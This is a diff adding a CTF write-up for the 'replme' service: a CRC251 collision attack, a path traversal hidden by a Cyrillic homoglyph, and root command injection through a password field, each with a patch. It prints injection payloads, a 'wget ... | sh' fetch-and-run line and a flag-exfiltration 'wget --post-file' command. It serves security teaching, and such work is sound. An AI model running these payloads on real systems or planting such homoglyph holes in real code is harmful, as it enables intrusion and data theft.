+SRCDIR = src
+SRCFILE = $(SRCDIR)/main.tex
+OUTDIR = target
+TARGET = $(OUTDIR)/main.pdf
+EXPORT = ../documentation.pdf
+
+build: ${TARGET}
+
+${TARGET}: ${SRCFILE}
+ mkdir -p $(OUTDIR)
+ pdflatex -halt-on-error -output-directory=$(OUTDIR) $(SRCFILE)
+ pdflatex -halt-on-error -output-directory=$(OUTDIR) $(SRCFILE)
+
+export: ${TARGET}
+ cp $(TARGET) $(EXPORT)
+
+.PHONY: watch
+watch:
+ while inotifywait -e close_write -r ./src; do make build; done
+
+.PHONE: clean
+clean:
+ rm -rf $(OUTDIR)
+
diff --git a/documentation/tex/src/crc.patch b/documentation/tex/src/crc.patch
new file mode 100644
index 0000000..f8196af
--- /dev/null
+++ b/documentation/tex/src/crc.patch
@@ -0,0 +1,27 @@
+diff --git a/service/backend/controller/repl.go b/service/backend/controller/repl.go
+index 0b0f782..69f75be 100644
+--- a/service/backend/controller/repl.go
++++ b/service/backend/controller/repl.go
+@@ -1,6 +1,8 @@
+ package controller
+
+ import (
++ "crypto/sha256"
++ "encoding/hex"
+ "fmt"
+ "net/http"
+ "replme/service"
+@@ -44,8 +46,11 @@ func (repl *ReplController) Create(ctx *gin.Context) {
+
+ util.SLogger.Debugf("[%-25s] Creating new REPL user", fmt.Sprintf("UN:%s..", createReplRequest.Username[:5]))
+
+- hash := repl.CRC.Calculate(util.DecodeSpecialChars([]byte(createReplRequest.Username)))
+- name := fmt.Sprintf("%x", hash)
++ hasher := sha256.New224()
++ hasher.Write([]byte(createReplRequest.Username))
++ hash := hasher.Sum(nil)
++
++ name := hex.EncodeToString(hash)
+
+ util.SLogger.Debugf("[%-25s] Created new REPL user", fmt.Sprintf("UN:%s.. | NM:%s..", createReplRequest.Username[:5], name[:5]))
+
diff --git a/documentation/tex/src/create-user-snippet.go b/documentation/tex/src/create-user-snippet.go
new file mode 100644
index 0000000..86bf243
--- /dev/null
+++ b/documentation/tex/src/create-user-snippet.go
@@ -0,0 +1,9 @@
+func createUser(username string, password string) *types.ResponseError {
+ ...
+ cmd = exec.Command(
+ "sh",
+ "-c",
+ fmt.Sprintf("echo %s:%s | chpasswd", username, password),
+ )
+ ...
+}
diff --git a/documentation/tex/src/devenv-file-content-snippet.go b/documentation/tex/src/devenv-file-content-snippet.go
new file mode 100644
index 0000000..e9d6ab8
--- /dev/null
+++ b/documentation/tex/src/devenv-file-content-snippet.go
@@ -0,0 +1,14 @@
+func (devenv *DevenvController) GetFileContent(ctx *gin.Context) {
+ _uuid, _ := ctx.Get("uuid")
+ uuid := _uuid.(string)
+ name := ctx.Param("name")
+ path := filepath.Join(devenv.DevenvFilesPath, uuid, name)
+
+ if !strings.HasPrefix(path, devenv.DevenvFilesPath) {
+ ...
+ return
+ }
+
+ content, err := util.GetFileContent(path)
+ ...
+}
diff --git a/documentation/tex/src/devenv-uuid-snippet.go b/documentation/tex/src/devenv-uuid-snippet.go
new file mode 100644
index 0000000..5e696f6
--- /dev/null
+++ b/documentation/tex/src/devenv-uuid-snippet.go
@@ -0,0 +1,17 @@
+devenv := devenvs.Group("/:uuid", func(ctx *gin.Context) {
+ ...
+ id := ctx.Query("uuid")
+ if id == "" {
+ id = ctx.Param("uuid")
+ }
+ ...
+ uuid := util.ExtractUuid(id)
+ ...
+ var devenvs []model.Devenv
+ err := database.DB.Model(&user).Where("id = ?", uuid[:36]).Association("Devenvs").Find(&devenvs)
+ ...
+ ctx.Set("uuid", uuid)
+ ctx.Set("current_devenv", devenvs[0])
+ ...
+}
+
diff --git a/documentation/tex/src/devenv.jpg b/documentation/tex/src/devenv.jpg
new file mode 100644
index 0000000..9e14237
Binary files /dev/null and b/documentation/tex/src/devenv.jpg differ
diff --git a/documentation/tex/src/extract-uuid-snippet.go b/documentation/tex/src/extract-uuid-snippet.go
new file mode 100644
index 0000000..0b6c976
--- /dev/null
+++ b/documentation/tex/src/extract-uuid-snippet.go
@@ -0,0 +1,9 @@
+func ExtractUuid(input string) (uuid string) {
+ uuid = input
+ if len(uuid) < 36 {
+ return ""
+ }
+ uuіd := uuid[:36]
+ SLogger.Debugf("Extracted uuid: %s", uuіd)
+ return
+}
diff --git a/documentation/tex/src/ip-snippet.py b/documentation/tex/src/ip-snippet.py
new file mode 100644
index 0000000..cd54289
--- /dev/null
+++ b/documentation/tex/src/ip-snippet.py
@@ -0,0 +1,9 @@
+from ipaddress import ip_address, ip_network
+from websocket import create_connection
+...
+ws.send("ip a\n")
+ip_address = # ...
+
+network = ip_network(f"{ip_address}/24", strict=False)
+ip_list = [str(ip) for ip in list(network.hosts())[:10]]
+ip_list = [ip for ip in ip_list if ip != ip_address and not ip.endswith(".1")]
diff --git a/documentation/tex/src/main.tex b/documentation/tex/src/main.tex
new file mode 100644
index 0000000..402425b
--- /dev/null
+++ b/documentation/tex/src/main.tex
@@ -0,0 +1,447 @@
+\documentclass[10pt]{article}
+
+\usepackage{geometry}
+
+\geometry{a4paper, left=20mm, right=20mm, bottom=20mm, top=20mm}
+
+\usepackage[english]{babel}
+\usepackage[utf8]{inputenc}
+\usepackage{amsmath}
+\usepackage{dsfont}
+\usepackage[most]{tcolorbox}
+\usepackage{varwidth}
+\usepackage{graphicx}
+\usepackage{subcaption}
+
+\usepackage[T1]{fontenc}
+\usepackage[sfdefault]{roboto}
+\usepackage{roboto-mono}
+\usepackage{fontawesome5}
+
+\usepackage{listings}
+\usepackage{listingsutf8}
+\usepackage{xcolor}
+
+\lstset{
+ inputencoding=utf8/latin1,
+ backgroundcolor=\color{gray!10},
+ frame=single,
+ numbers=left,
+ numberstyle=\tiny,
+}
+
+\lstdefinestyle{patch}{
+ language={},
+ breaklines=true,
+ basicstyle=\ttfamily,
+ keywordstyle=\color{blue},
+ commentstyle=\color{gray},
+ morecomment=[f][\color{red}]{-},
+ morecomment=[f][\color{olive}]{+},
+ captionpos=b,
+}
+
+\lstdefinestyle{go}{
+ inputencoding=utf8,
+ extendedchars=true,
+ literate={і}{{i}}1,
+ keywords={break, case, chan, const, continue, default, defer, else, fallthrough,
+ for, func, go, goto, if, import, interface, map, package, range, return,
+ select, struct, switch, type, var, bool, byte, complex64, complex128,
+ float32, float64, int8, int16, int32, int64, string, uint8, uint16, uint32, uint64, int, uint, uintptr, error},
+ keywordstyle=\color{blue}\bfseries,
+ ndkeywords={true, false, iota, nil},
+ ndkeywordstyle=\color{red}\bfseries,
+ identifierstyle=\color{black},
+ sensitive=true,
+ comment=[l]{//},
+ morecomment=[s]{/*}{*/},
+ commentstyle=\color{green}\ttfamily,
+ stringstyle=\color{orange}\ttfamily,
+ morestring=[b]',
+ morestring=[b]",
+ tabsize=2,
+ showspaces=false,
+ showtabs=false,
+ keepspaces=true,
+ columns=flexible,
+ showstringspaces=false,
+ breaklines=true,
+ breakatwhitespace=true,
+ basicstyle=\ttfamily,
+ captionpos=b,
+}
+
+\lstdefinestyle{python}{
+ basicstyle=\ttfamily\small,
+ keywordstyle=\color{blue},
+ stringstyle=\color{red},
+ commentstyle=\color{green!60!black},
+ morecomment=[l][\color{magenta}]{\#},
+ showstringspaces=false,
+ tabsize=4,
+ breaklines=true,
+ captionpos=b
+}
+
+\lstdefinestyle{bash}{
+ basicstyle=\ttfamily\small,
+ keywordstyle=\color{blue},
+ stringstyle=\color{red},
+ commentstyle=\color{green!60!black},
+ morekeywords={sudo, cd, ls, echo, export, source, mv, cp, rm, mkdir, chmod, chown},
+ showstringspaces=false,
+ tabsize=4,
+ breaklines=true,
+ captionpos=b
+}
+
+\usepackage{hyperref}
+
+\hypersetup{
+ colorlinks=true,
+ linkcolor=black,
+ filecolor=black,
+ urlcolor=cyan,
+}
+
+\setlength\parindent{0pt}
+
+\newcommand{\definition}[2]{
+\begin{tcolorbox}[
+ title={#1},hbox,
+ colframe=green!75!black,
+ colback=green!40!white,
+ coltitle=black,
+ ]
+ \begin{varwidth}{\textwidth}
+ #2
+ \end{varwidth}
+\end{tcolorbox}
+}
+
+\makeatletter
+\renewcommand*\env@matrix[1][\arraystretch]{%
+ \edef\arraystretch{#1}%
+ \hskip -\arraycolsep
+ \let\@ifnextchar\new@ifnextchar
+ \array{*\c@MaxMatrixCols c}}
+\makeatother
+
+\title{Replme Documentation}
+\author{Jacob Bachmann}
+\date{ }
+
+\begin{document}
+
+\maketitle
+
+\tableofcontents
+
+\section{Overview}
+
+\begin{figure}
+ \centering
+ \begin{subfigure}{0.478\textwidth}
+ \centering
+ \includegraphics[width = \textwidth]{src/repl}
+ \caption{REPL}
+ \end{subfigure}
+ \begin{subfigure}{0.49\textwidth}
+ \centering
+ \includegraphics[width = \textwidth]{src/devenv}
+ \caption{DEVENV}
+ \end{subfigure}
+\end{figure}
+
+\robotomonoRegular{replme} provides users with the possibility to create development environments (DEVENVs) and spawn "throw-away" shells (REPLs) in the browser. It is strongly influenced by \href{https://replit.com}{replit.com}. \\
+
+The infrastructure consists of a nginx reverse-proxy that forwards all requests to the Next.js frontend server, except for requests whose path starts with \robotomonoRegular{/api} -- those are forwarded to the golang+gin backend (hereafter MAIN-BACKEND). The MAIN-BACKEND persist data in a PostgreSQL instance. \\
+
+To spawn a REPL or compile code in a DEVENV the MAIN-BACKEND interfaces with a docker-in-docker instance (DIND) to create Alpine Linux containers (hereafter ALPINEs). The IO of the command running on the aplines is proxied to the web client by the MAIN-BACKEND. \\
+
+The ALPINEs themselves have another golang+gin backend running on them (hereafter CHILD-BACKEND). The MAIN-BACKEND interfaces with the CHILD-BACKEND to create/authenticate users and spawn commands on the ALPINEs.
+\section{Vulnerability \#1 -- CRC}
+
+\subsection{How it works}
+
+REPLs are \robotomonoRegular{/bin/zsh} shells in the user land of a temporary ALPINE environment. Their filesystem is persisted for a limited time. When a REPL is spawned, the client generates a random pair of 60 bytes username and password, and sends the pair to the MAIN-BACKEND. The MAIN-BACKEND stores the pair in the user session and spawns an ALPINE. The identifier of the ALPINE is the CRC checksum of the random 60 bytes username. However, it isn't a typical CRC32 or CRC64, instead it is a CRC251 using the prime polynomial of degree 251:
+\begin{center}
+ \robotomonoRegular{0x8561cc4ee956c6503c5da0ffacb20feabb3eb142e7645e7ff1a2067fd8e1cfb}
+\end{center}
+
+Herein lies the first vulnerability. CRC is no cryptographically secure hashing function. Given a target username $a$, the goal is to find a second pre-image $a'$ such that $\texttt{CRC251}(a) = \texttt{CRC251}(a')$. With $a'$, the adversary gets access to the ALPINE created for $a$, including read-only access on \robotomonoRegular{/home/} where the flag is stored. \\
+
+\begin{center}
+ \definition{CRC}{
+ \textit{Let $a, p \in \mathds{F}_2[x]$ then there are unique polynomial $b, r \in \mathds{f}_2[x]$ \\ with $deg(r) < deg(p)$ such that}
+ \begin{equation*}
+ a(x) = b(x) \cdot p(x) + r(x)
+ \end{equation*}
+ \textit{where $a(x)$ is the message polynomial (input), $p(x)$ the \\ generator polynomial, $b(x)$ the quotient polynomial, \\ and $r(x)$ the remainder polynomial (CRC).}
+ }
+\end{center}
+
+\vspace*{.4cm}
+Hence, to calculate the CRC: $r(x) = a(x)\bmod p(x)$. Intuitively, finding a second pre-image under these conditions is easy. Calculate a delta $\Delta(x) = b_\Delta(x) \cdot\ p(x)$ and add it to the given username:
+\begin{equation}
+ a'(x) = a(x) + \Delta(x) = a(x) + b_\Delta(x)p(x) = a(x) + 0 = a(x) = r(x) \bmod p(x)
+\end{equation}
+
+But what kind of polynomial yields our data (e.g. username)? All bits in our data's bit-representation are elements from $\mathds{F}_2$ with addition ($\oplus$ on bits) and multiplication ($\odot$ on bits). Therefore, the polynomial for data bits $a=a_{l-1}...a_0$ looks like this:
+
+\begin{equation}
+ a(x) = a_{l-1}x^{l-1}+a_{l-2}x^{l-2}+..+a_1x+a_0
+\end{equation}
+
+\vspace*{.4cm}
+Note, for technical reasons $a(x)$ is multiplied with $x^{deg(p)}$, or $<< deg(p)$ on bits. \\
+
+Back in context of replme, the MAIN-BACKEND only allows ASCII characters \robotomonoRegular{a-z} and \robotomonoRegular{0-5} for usernames. Before calculating the checksum, the characters are mapped the following way:
+\begin{equation}
+ \label{eq:char-mapping}
+ \begin{tabular}{l l l l l}
+ 0 & $\Rightarrow$ & \`\ & GRAVE ACCENT & $\robotomonoRegular{01100000}_2$ \\
+ a & $\Rightarrow$ & a & & $\robotomonoRegular{01100001}_2$ \\
+ $\dots$ & & $\dots$ & & $\dots$ \\
+ z & $\Rightarrow$ & z & & $\robotomonoRegular{01111010}_2$ \\
+ 1 & $\Rightarrow$ & \{ & OPENING BRACE & $\robotomonoRegular{01111011}_2$ \\
+ 2 & $\Rightarrow$ & | & VERTICAL BAR & $\robotomonoRegular{01111100}_2$ \\
+ 3 & $\Rightarrow$ & \} & CLOSING BRACE & $\robotomonoRegular{01111101}_2$ \\
+ 4 & $\Rightarrow$ & \~{} & TILDE & $\robotomonoRegular{01111110}_2$ \\
+ 5 & $\Rightarrow$ & \robotomonoRegular{DEL} & DELETE & $\robotomonoRegular{01111111}_2$
+ \end{tabular}
+\end{equation}
+
+We can see that the bit representation of the set of the mapped allowed characters follows the pattern\\ $\robotomonoRegular{011*****}_2$. \\
+
+This restriction also aplies to $a'$. Under this condition it is not anymore trivial to find some $\Delta$, since it must have the bit representation $\robotomonoRegular{000*****...000*****}_2$, such that:
+\begin{equation}
+ % \arraycolsep=1.4pt
+ \def\arraystretch{1.2}
+ \begin{array}{lll}
+ & \robotomonoRegular{011*****...011***** 0...0}_2 & \color{gray}(a) \\
+ \oplus & \robotomonoRegular{000*****...000***** 0...0}_2 & \color{gray}(\Delta) \\
+ = & \robotomonoRegular{011*****...011***** 0...0}_2 & \color{gray}(a') \\
+ \end{array}
+\end{equation}
+
+For the in replme given polynomial of degree 251 and usernames of length 60 bytes, this leaves us with the equation:
+\begin{equation*}
+ \underbrace{(\robotomonoRegular{000*****...000*****}_2)}_{\texttt{60 times}} << {251} = b_\Delta\cdot p
+\end{equation*}
+or more specific:
+
+\begin{equation}
+ \underbrace{\sum_{i=0}^{59}\left(\sum_{j=0}^{4}*x^{8*i+j+251}+\sum_{k=5}^{7}0x^{8*i+k+251}\right)+\sum_{l=0}^{250}0x^l}_{\Delta(x)} = \underbrace{\left(\sum_{m=0}^{59*8+7}b_mx^m\right)}_{b_\Delta(x)} \cdot \underbrace{\left(\sum_{n=0}^{251}p_nx^n\right)}_{p(x)}
+\end{equation}
+
+Now, we can multiply $b_\Delta(x)\cdot p(x)$, do a coefficient comparison with $\Delta(x)$ where the coefficients are $0$, and create an underdetermined equation system: $Ab=0$. The kernel of the matrix $A$ spans the set of all $b_\Delta$ that -- multiplied with $p$ -- give us all possible $\Delta$ that (for any given input $a$ of length 60 bytes) added to input $a$ give us all second pre images (of length 60 bytes). \\
+
+\subsection{Example}
+
+Let's find the $\Delta$'s for the polynomial \robotomonoRegular{0x14} of degree 4 and input length of 1 byte. \\
+
+This gives us following equations:
+\begin{equation}
+ \begin{aligned}
+ p(x) & = x^4 + x^2 \\
+ b_\Delta(x) & = b_7x^7 + b_6x^6 + b_5x^5 + b_4x^4 + b_3x^3 + b_2x^2 + b_1x^1 + b_0x^0 \\
+ b_\Delta(x)\cdot p(x) & = b_7x^{11} + b_6x^{10} + b_7x^{9} + b_5x^{9} + b_6x^{8} + b_4x^{8} + b_5x^{7} + b_3x^{7} \\
+ & + b_4x^{6} + b_2x^{6} + b_3x^{5} + b_1x^{5} +b_2x^{4} + b_0x^{4} + b_1x^{3} + b_0x^2 \\
+ \Delta(x) & = 0x^{11} + 0x^{10} + 0x^{9} + *x^{8} + *x^{7} + *x^{6} + *x^{5} + *x^{4} \\
+ & + 0x^{3} + 0x^{2} + 0x^{1} + 0x^{0}
+ \end{aligned}
+\end{equation}
+
+Now we do a coefficient comparison of $b_\Delta(x)\cdot p(x)$ with $\Delta(x)$ for the powers of $x$ where the coefficient is $0$ in $\Delta(x)$. This resultings in the equation $Ab=0$:
+\begin{equation}
+ \begin{aligned}
+ & \ \ \ \color{gray}\begin{matrix}
+ b_0 & \!\! b_1 & \!\! b_2 & \!\! b_3 & \!\! b_4 & \!\! b_5 & \!\! b_6 & \!\! b_7
+ \end{matrix} \\
+ \color{gray}\begin{matrix}[1.15]
+ x^{11} \\ x^{10} \\ x^9 \\ x^3 \\ x^2 \\ x^1 \\ x^0
+ \end{matrix}
+ & \begin{pmatrix}
+ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 1 \\
+ 0 & 0 & 0 & 0 & 0 & 0 & 1 & 0 \\
+ 0 & 0 & 0 & 0 & 0 & 1 & 0 & 1 \\
+ 1 & 0 & 1 & 0 & 0 & 0 & 0 & 0 \\
+ 0 & 1 & 0 & 0 & 0 & 0 & 0 & 0 \\
+ 1 & 0 & 0 & 0 & 0 & 0 & 0 & 0 \\
+ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 \\
+ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0
+ \end{pmatrix}
+ \begin{pmatrix}
+ b_0 \\ b_1 \\ b_2 \\ b_3 \\ b_4 \\ b_5 \\ b_6 \\ b_7
+ \end{pmatrix} =
+ \begin{pmatrix}
+ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0
+ \end{pmatrix}
+ \end{aligned}
+\end{equation}
+
+To solve that underdetermined system we can just calculate the kernel $\ker(A)$, with following result:
+\begin{equation}
+ \begin{aligned}
+ & \ \ \ \ \ \ \color{gray}\begin{matrix}
+ b_0 & \!\! b_1 & \!\! b_2 & \!\! b_3 & \!\! b_4 & \!\! b_5 & \!\! b_6 & \!\! b_7
+ \end{matrix} \\
+ b_{\Delta_1} & = \begin{pmatrix}
+ 0 & 0 & 0 & 1 & 0 & 0 & 0 & 0
+ \end{pmatrix} \\
+ b_{\Delta_2} & = \begin{pmatrix}
+ 0 & 0 & 0 & 0 & 1 & 0 & 0 & 0
+ \end{pmatrix}
+ \end{aligned}
+\end{equation}
+
+Each combination of the elements in the kernel gives us a valid $b_\Delta$. Let's calculate the $\Delta$:
+\begin{equation}
+ % \arraycolsep=1.4pt
+ \def\arraystretch{1.3}
+ \begin{array}{rlll}
+ \color{gray} \emptyset: & \Delta_0(x) = & 0 \cdot p(x) & = 0 \\
+ \color{gray} b_{\Delta_1}: & \Delta_1(x) = & x^3 \cdot p(x) & = x^7 + x^5 \\
+ \color{gray} b_{\Delta_2}: & \Delta_2(x) = & x^4 \cdot p(x) & = x^8 + x^6 \\
+ \color{gray} b_{\Delta_1}+b_{\Delta_2}: & \Delta_3(x) = & (x^4+x^3) \cdot p(x) & = x^8 + x^7 + x^6 + x^5
+ \end{array}
+\end{equation}
+
+Let's calculate the pre-images of $\texttt{CRC4}(\texttt{"s"}) = \texttt{CRC4}(\robotomonoRegular{01110011}_2$):
+ \begin{equation}
+ % \arraycolsep=1.4pt
+ \def\arraystretch{1.3}
+ \begin{array}{lll}
+ a'_0 = \texttt{"s"} << 4 \oplus \Delta_0 = \robotomonoRegular{011100110000}_2 \oplus\robotomonoRegular{000000000000}_2 = \robotomonoRegular{011100110000}_2 = \texttt{"s"} << 4 \\
+ a'_1 = \texttt{"s"} << 4 \oplus \Delta_1 = \robotomonoRegular{011100110000}_2 \oplus\robotomonoRegular{000010100000}_2 = \robotomonoRegular{011110010000}_2 = \texttt{"y"} << 4 \\
+ a'_2 = \texttt{"s"} << 4 \oplus \Delta_2 = \robotomonoRegular{011100110000}_2 \oplus\robotomonoRegular{000101000000}_2 = \robotomonoRegular{011001110000}_2 = \texttt{"g"} << 4 \\
+ a'_3 = \texttt{"s"} << 4 \oplus \Delta_3 = \robotomonoRegular{011100110000}_2 \oplus\robotomonoRegular{000111100000}_2 = \robotomonoRegular{011011010000}_2 = \texttt{"m"} << 4 \\
+ \end{array}
+ \end{equation}
+
+ Therefore, \texttt{"s"}, \texttt{"y"}, \texttt{"g"}, and \texttt{"m"} are pre-images for $\texttt{CRC4}(\texttt{"s"})$.
+
+ \subsection{Exploit}
+
+ In case of our polynomial, the kernel has $48$ base vectors that span a total of $2^{48}=281474976710656$ elements ($b_\Delta$). The adversaries can choose a few random $b_\Delta$'s. Due to the large number of possible elements, collisions with other adversaries are very unlikely.
+
+ For a by the \robotomonoRegular{attack\_info.json} given username $a$, some randomly choosen $\Delta$, and the function $map$ that maps the characters like in Table \ref{eq:char-mapping}, the steps to exploit are as follows:
+\begin{enumerate}
+ \item Calculate $a' = map^{-1}(map(a) \oplus (\Delta >> 251))$.
+ \item Create a new REPL session: \\
+ \robotomonoRegular{POST /api/repl} \\
+ \robotomonoRegular{Request-Body: \{ "username": "<$a'$>", "password": "" \}} \\
+ \robotomonoRegular{Response-Body: \{ "id": "" \}}
+ \item With the new session cookie and \robotomonoRegular{replid} open a websocket connection: \\
+ \robotomonoRegular{ws://:/api/repl/}
+ \item Send the following shell command over the websocket connection: \\
+ \robotomonoRegular{echo FLAG \&\& cat ../<$a$>/flagstore.txt \&\& echo OK}
+ \item Flags are Base64 encoded, therefore, match the output with the RegEx \\
+ \robotomonoRegular{FLAG\textbackslash s*([A-Za-z0-9\textbackslash +\textbackslash =\textbackslash /]+)\textbackslash s*OK} \\
+ until a match is found.
+\end{enumerate}
+
+\subsection{Fix}
+
+The fix is a rather simple one. Replace \robotomonoRegular{CRC251} with a cryptographically secure hashing function, e.g. \robotomonoRegular{SHA224}. See Listing \ref{lst:crc} in Section \ref{sec:appendix} Appendix for the patch.
+
+\section{Vulnerability \#2 -- Path traversal}
+
+\subsection{How it works}
+
+In a DEVENV the user can create, edit, delete, and execute source code. The source code files are persisted in the hosts filesystem (under \robotomonoRegular{///}) and executed within ALPINEs.
+
+To get the contents of a DEVENV file the owner can request
+\begin{center}
+ \robotomonoRegular{GET /api/devenv//files/}
+\end{center}
+However, all \robotomonoRegular{/api/devenv/...} endpoints also accept a query parameter \robotomonoRegular{?uuid=} which overloads the \robotomonoRegular{} when specified.
+
+\lstinputlisting[caption=service/backend/server/router.go\ (l.110-148), style=go, label={lst:devenv-uuid-snippet}]{src/devenv-uuid-snippet.go}
+
+The extracted DEVENV and \robotomonoRegular{uuid} are saved in the current requests context. We can see, that \robotomonoRegular{id} is seemingly sanitized via \robotomonoRegular{util.ExtractUuid}. Instead of using the \robotomonoRegular{devenv} from the context (that definitely belongs to the current user), the eventually executed controller function \robotomonoRegular{GetFileContent} uses the \robotomonoRegular{uuid} to compute the path of the requested file content.
+
+\lstinputlisting[caption=service/backend/controller/devenv.go\ (l.239-262), style=go, label={lst:devenv-file-content-snippet}]{src/devenv-file-content-snippet.go}
+
+Herein lies the second vulnerability. Due to the \robotomonoRegular{util.ExtractUuid} function (seen in Listing \ref{lst:devenv-uuid-snippet}) which does not sanitize user input correctly, the adversary is able use path traversal to retrieve the contents of files belonging to DEVENVs owned by other users.
+
+\lstinputlisting[caption=service/backend/util/encoding.go\ (l.21-29), style=go, label={lst:extract-uuid-snippet}]{src/extract-uuid-snippet.go}
+
+In line 6 in Listing \ref{lst:extract-uuid-snippet} the "i" of the left \robotomonoRegular{uuid} variable is not an ASCII "i". Instead it is the "Cyrillic Small Letter Byelorussian-Ukrainian I" (\robotomonoRegular{U+0456}), a unicode look-alike. Therefore, in line 8, the \robotomonoRegular{uuid} defined in line 1 which is just set to the user input is returned -- completely unescaped.
+
+\subsection{Exploit}
+
+For a by the \robotomonoRegular{attack\_info.json} given DEVENV's \robotomonoRegular{targetUuid}, the steps to exploit are as follows:
+\begin{enumerate}
+ \item Register a new random user: \\
+ \robotomonoRegular{POST /api/auth/register} \\
+ \robotomonoRegular{Request-Body \{ "username": "...", "password": "..." \}}
+ \item Login with the newly created user: \\
+ \robotomonoRegular{POST /api/auth/login} \\
+ \robotomonoRegular{Request-Body \{ "username": "...", "password": "..." \}}
+ \item Create some random DEVENV: \\
+ \robotomonoRegular{POST /api/devenv} \\
+ \robotomonoRegular{Request-Body \{ "name": "...", "buildCmd": "...", "runCmd": "..." \}} \\
+ \robotomonoRegular{Response-Body \{ "devenvUuid": "" \}}
+ \item Get the file content for \robotomonoRegular{targetUuid}: \\
+ \robotomonoRegular{GET /api/devenv//files/flagstore.txt?uuid=\%2F..\%2F} \\
+\end{enumerate}
+
+\subsection{Fix}
+
+To fix this vulnerability, patch the \robotomonoRegular{GetFileContent} function in Listing \ref{lst:devenv-file-content-snippet} to use the DEVENV from the context instead of the \robotomonoRegular{uuid}. See Listing \ref{lst:path-traversal} in Section \ref{sec:appendix} Appendix for the patch.
+
+\section{Vulnerability \#3 -- Unintended RCE}
+
+\subsection{How it works}
+
+All the ALPINEs share the same DIND network. That means an adversary can send requests to an ALPINEs CHILD-BACKEND from another ALPINE. But, the CHILD-BACKENDs API is secured with an API key, that is randomly generated once for all ALPINEs per service. This API key lies in the environment of the root user of an ALPINE. To register a user on an ALPINE the client sends some username and password key-pair. Without being properly sanitized, the password is forwarded by the MAIN-BACKEND to the target ALPINEs CHILD-BACKEND. The following code is then executed by the CHILD-BACKEND.
+
+\lstinputlisting[caption=service/image/service/user.go\ (l.148-188), style=go]{src/create-user-snippet.go}
+
+As we can see it is just a plain \robotomonoRegular{sh} command. Herein lies the third vulnerability. The adversary can execute abitrary \robotomonoRegular{sh} commands with root rights on an ALPINE.
+
+\subsection{Exploit}
+
+DISCLAIMER: This vulnerability was found and exploited by \href{https://ctftime.org/user/65650}{renbou} from the team "C4T BuT S4D". All the snippets in this section are extracted from their exploit, which they kindly shared with me. Thanks! \\
+
+The steps to exploit are as follows:
+
+\begin{enumerate}
+ \item Create a new REPL session and set the password to print the environment to some file: \\
+ \robotomonoRegular{POST /api/repl} \\
+ \robotomonoRegular{Request-Body: \{ "username": "...", "password": "password | chpasswd; printenv > /tmp/test; \#" \}} \\
+ \robotomonoRegular{Response-Body: \{ "id": "" \}}
+ \item With the new session cookie and \robotomonoRegular{replid} open a websocket connection: \\
+ \robotomonoRegular{ws://:/api/repl/}
+ \item Now you can \robotomonoRegular{cat} the contents of \robotomonoRegular{/tmp/test} and obtain the API-KEY.
+ \item Other target ALPINEs possible ip addresses are limited. One can use following python snippet to get the possible values: \\
+ \lstinputlisting[caption=enowars8-sploit-replme-rce.py, style=python]{src/ip-snippet.py}
+ \item Now from the current ALPINE send requests to all other possible ALPINEs with the following shell commands:
+ \lstinputlisting[caption=enowars8-sploit-replme-rce.py, style=bash]{src/rce-snippet.bash}
+ and where \robotomonoRegular{GET http:///script} returns:
+ \lstinputlisting[caption=http:///script, style=bash]{src/rce-snippet2.bash}
+ \item Finally all flags are stored on \robotomonoRegular{} and can be submitted.
+
+\end{enumerate}
+
+\subsection{Fix}
+
+The fix is also a rather simple one. In the \robotomonoRegular{Register} and \robotomonoRegular{Login} functions in \robotomonoRegular{service/image/controller/user.go}, check if the given \robotomonoRegular{password} matches the RegEx: \robotomonoRegular{\^{}[a-zA-Z0-9]*\$}. See Listing \ref{lst:rce} in Section \ref{sec:appendix} Appendix for the patch.
+
+\newpage
+\section{Appendix}
+\label{sec:appendix}
+
+\lstinputlisting[caption=crc.patch, style=patch, label={lst:crc}]{src/crc.patch}
+\newpage
+
+\lstinputlisting[caption=path-traversal.patch, style=patch, label={lst:path-traversal}]{src/path-traversal.patch}
+\newpage
+
+\lstinputlisting[caption=rce.patch, style=patch, label={lst:rce}]{src/rce.patch}
+
+\end{document}
+
diff --git a/documentation/tex/src/path-traversal.patch b/documentation/tex/src/path-traversal.patch
new file mode 100644
index 0000000..c6e3efa
--- /dev/null
+++ b/documentation/tex/src/path-traversal.patch
@@ -0,0 +1,32 @@
+diff --git a/service/backend/controller/devenv.go b/service/backend/controller/devenv.go
+index cd56dbc..eb91a0b 100644
+--- a/service/backend/controller/devenv.go
++++ b/service/backend/controller/devenv.go
+@@ -7,7 +7,6 @@ import (
+ "net/http"
+ "os"
+ "path/filepath"
+- "strings"
+ "time"
+
+ "replme/database"
+@@ -237,17 +236,10 @@ func (devenv *DevenvController) CreateFile(ctx *gin.Context) {
+ }
+
+ func (devenv *DevenvController) GetFileContent(ctx *gin.Context) {
+- _uuid, _ := ctx.Get("uuid")
+- uuid := _uuid.(string)
++ _devenv, _ := ctx.Get("current_devenv")
++ currentDevenv := _devenv.(model.Devenv)
+ name := ctx.Param("name")
+- path := filepath.Join(devenv.DevenvFilesPath, uuid, name)
+-
+- if !strings.HasPrefix(path, devenv.DevenvFilesPath) {
+- ctx.AbortWithStatusJSON(http.StatusBadRequest, &gin.H{
+- "error": "Invalid uuid",
+- })
+- return
+- }
++ path := filepath.Join(devenv.DevenvFilesPath, currentDevenv.ID, name)
+
+ content, err := util.GetFileContent(path)
diff --git a/documentation/tex/src/rce-snippet.bash b/documentation/tex/src/rce-snippet.bash
new file mode 100644
index 0000000..c7fbb02
--- /dev/null
+++ b/documentation/tex/src/rce-snippet.bash
@@ -0,0 +1 @@
+wget --post-data='{{"username":"...","password":"; wget -O - http:///script | sh;#"}}' --header 'Content-Type:application/json' http://{ip}:3000/api/{API_KEY}/auth/register
diff --git a/documentation/tex/src/rce-snippet2.bash b/documentation/tex/src/rce-snippet2.bash
new file mode 100644
index 0000000..5243866
--- /dev/null
+++ b/documentation/tex/src/rce-snippet2.bash
@@ -0,0 +1 @@
+cat /home/*/flagstore.txt > output.txt && wget --post-file=output.txt -O- http:///store
diff --git a/documentation/tex/src/rce.patch b/documentation/tex/src/rce.patch
new file mode 100644
index 0000000..ecdee05
--- /dev/null
+++ b/documentation/tex/src/rce.patch
@@ -0,0 +1,23 @@
+diff --git a/service/image/controller/user.go b/service/image/controller/user.go
+index 161560f..f4fecc6 100644
+--- a/service/image/controller/user.go
++++ b/service/image/controller/user.go
+@@ -34,7 +34,7 @@ func (user *UserController) Login(ctx *gin.Context) {
+ return
+ }
+
